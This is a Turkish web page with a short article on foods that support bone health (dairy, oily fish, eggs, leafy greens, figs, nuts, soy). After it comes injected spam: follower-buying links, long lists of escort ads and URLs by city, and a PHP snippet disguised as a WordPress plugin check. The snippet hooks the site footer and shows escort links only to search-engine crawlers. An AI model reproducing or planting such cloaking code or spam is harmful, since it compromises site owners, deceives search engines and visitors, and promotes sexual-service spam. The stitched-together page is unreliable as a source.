neizm.com

Kemik Gelişimine Faydalı Yiyecekler

İnsan sağlığında dikkat edilmesi gereken en önemli konulardan bir tanesi de sağlıklı bir kemik gelişimine sahip olmaktır. Kemik gelişimine sadece genç yaşlarda ehemmiyet göstermek yeterli değildir. Her yaşta kemik sağlığı için gerekli şeyler yapılmalıdır. İleri ki yaşlarda kemiklerin çabuk eğilme ve kırılmasını engellemek , kemik erimesi gibi hastalıklara yakalanmamak için kemik gelişimi için gerekli gıdaların düzenli alınması gerekmektedir. Bu gıdalar sıralamak gerekirse:

Kemik gelişimine faydalı gıdaların başında süt ürünleri gelmektedir. Süt ve süt ürünleri D vitamini zenginidir ve yapısında bulunan kalsiyumdan dolayı insan sağlığı açısından çok faydalıdır. D vitamini ve kalsiyum kemik sağlığının en temel unsurlarıdır. Günlük düzenli olarak süt tüketilmeli ve özellikle çocuklara bu alışkanlık kazandırılmalı bunun yanında asitli içecekler yerine ayran içme alışkanlığı çocuklara kazandırılmalıdır.

-Sardalya balığı insanın gerek D vitamini gerekse kalsiyum ihtiyacını karşılamada çok değerlidir.

-Somon kalp sağlığı açısından çok etkili olduğu bilinmesinin yanında içerdiği D vitaminiyle de kemik sağlığına fayda sağlamaktadır.

-Kahvaltılarımızın vaz geçilmezi yumurta ve özellikle yumurtanın sarısında D vitamini bulunmaktadır.

-Demir, A vitamini ve lif kaynağı olan ıspanak kalsiyum ihtiyacını karşılamada etkilidir.

-Bir diğer önemli kalsiyum kaynağı ise pazıdır. Pazı hem dişleri hem de kemikleri kuvvetlendirir.

-İncir vücudun kalsiyum ihtiyacını karşılamada etkili bir gıdadır.

-Kabuklu yemiş türleri ve tohumlar da kalsiyum kaynağıdır ve çok faydalıdır.

-Kemik gelişimine faydalı kalsiyum kaynağı bir diğer önemli gıda da soya ürünleridir.

-Portakal suyunun yapısında kalsiyum ve D vitamini olmamasına rağmen takviye olarak tüketildiğinde çok faydalıdır.

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir


takipçi satın al instagram takipçi satın al instagram beğeni satın al twitter takipçi satın al youtube abone satın al facebook takipçi satın al takipci33.com
Konya mutlu son Korkuteli mutlu son Midyat mutlu son Niksar mutlu son Mudurnu mutlu son Kütahya mutlu son Kumluca mutlu son Nazilli mutlu son Of mutlu son Musabeyli mutlu son Uşak ucuz escort Bilecik ucuz escort Karaman ucuz escort Edirne ucuz escort Şanlıurfa ucuz escort Erzincan ucuz escort Giresun ucuz escort Düzce ucuz escort Zonguldak ucuz escort Mardin ucuz escort Adıyaman ucuz escort Aksaray ucuz escort Burdur ucuz escort Kars ucuz escort Kastamonu ucuz escort Kırklareli ucuz escort Amasya ucuz escort Sinop ucuz escort Bayburt ucuz escort Tokat ucuz escort Sivas ucuz escort Yozgat ucuz escort
http://www.escortperl.com/category/adana-escort/ http://www.escortperl.com/category/adiyaman-escort/ http://www.escortperl.com/category/afyon-escort/ http://www.escortperl.com/category/agri-escort/ http://www.escortperl.com/category/aksaray-escort/ http://www.escortperl.com/category/amasya-escort/ http://www.escortperl.com/category/ankara-escort/ http://www.escortperl.com/category/antalya-escort/ http://www.escortperl.com/category/ardahan-escort/ http://www.escortperl.com/category/aydin-escort/ http://www.escortperl.com/category/balikesir-escort/ http://www.escortperl.com/category/bartin-escort/ http://www.escortperl.com/category/batman-escort/ http://www.escortperl.com/category/bayburt-escort/ http://www.escortperl.com/category/bilecik-escort/ http://www.escortperl.com/category/bingol-escort/ http://www.escortperl.com/category/bitlis-escort/ http://www.escortperl.com/category/bolu-escort/ http://www.escortperl.com/category/burdur-escort/ http://www.escortperl.com/category/bursa-escort/ http://www.escortperl.com/category/canakkale-escort/ http://www.escortperl.com/category/cankiri-escort/ http://www.escortperl.com/category/corum-escort/ http://www.escortperl.com/category/denizli-escort/ http://www.escortperl.com/category/diyarbakir-escort/ http://www.escortperl.com/category/duzce-escort/ http://www.escortperl.com/category/edirne-escort/ http://www.escortperl.com/category/elazig-escort/ http://www.escortperl.com/category/erzincan-escort/ http://www.escortperl.com/category/erzurum-escort/ http://www.escortperl.com/category/eskisehir-escort/ http://www.escortperl.com/category/gaziantep-escort/ http://www.escortperl.com/category/giresun-escort/ http://www.escortperl.com/category/gumushane-escort/ http://www.escortperl.com/category/hakkari-escort/ http://www.escortperl.com/category/hatay-escort/ http://www.escortperl.com/category/igdir-escort/ http://www.escortperl.com/category/isparta-escort/ http://www.escortperl.com/category/istanbul-escort/ http://www.escortperl.com/category/izmir-escort/ http://www.escortperl.com/category/karabuk-escort/ http://www.escortperl.com/category/karaman-escort/ http://www.escortperl.com/category/kars-escort/ http://www.escortperl.com/category/kastamonu-escort/ http://www.escortperl.com/category/kayseri-escort/ http://www.escortperl.com/category/kilis-escort/ http://www.escortperl.com/category/kirikkale-escort/ http://www.escortperl.com/category/kirklareli-escort/ http://www.escortperl.com/category/kirsehir-escort/ http://www.escortperl.com/category/kocaeli-escort/ http://www.escortperl.com/category/konya-escort/ http://www.escortperl.com/category/kutahya-escort/ http://www.escortperl.com/category/malatya-escort/ http://www.escortperl.com/category/manisa-escort/ http://www.escortperl.com/category/maras-escort/ http://www.escortperl.com/category/mardin-escort/ http://www.escortperl.com/category/mersin-escort/ http://www.escortperl.com/category/mugla-escort/ http://www.escortperl.com/category/mus-escort/ http://www.escortperl.com/category/nevsehir-escort/ http://www.escortperl.com/category/nigde-escort/ http://www.escortperl.com/category/ordu-escort/ http://www.escortperl.com/category/osmaniye-escort/ http://www.escortperl.com/category/rize-escort/ http://www.escortperl.com/category/sakarya-escort/ http://www.escortperl.com/category/samsun-escort/ http://www.escortperl.com/category/sanliurfa-escort/ http://www.escortperl.com/category/siirt-escort/ http://www.escortperl.com/category/sinop-escort/ http://www.escortperl.com/category/sivas-escort/ http://www.escortperl.com/category/sirnak-escort/ http://www.escortperl.com/category/tekirdag-escort/ http://www.escortperl.com/category/tokat-escort/ http://www.escortperl.com/category/trabzon-escort/ http://www.escortperl.com/category/usak-escort/ http://www.escortperl.com/category/van-escort/ http://www.escortperl.com/category/yalova-escort/ http://www.escortperl.com/category/yozgat-escort/ http://www.escortperl.com/category/zonguldak-escort/ www.escortperl.com
function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = '
escort Konya escort bayan Mardin escort bayan Akşehir escort bayan Beyşehir escort bayan Çumra escort bayan Ereğli escort bayan Karatay escort bayan Meram escort bayan Selçuklu escort bayan Kızıltepe escort bayan
'; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');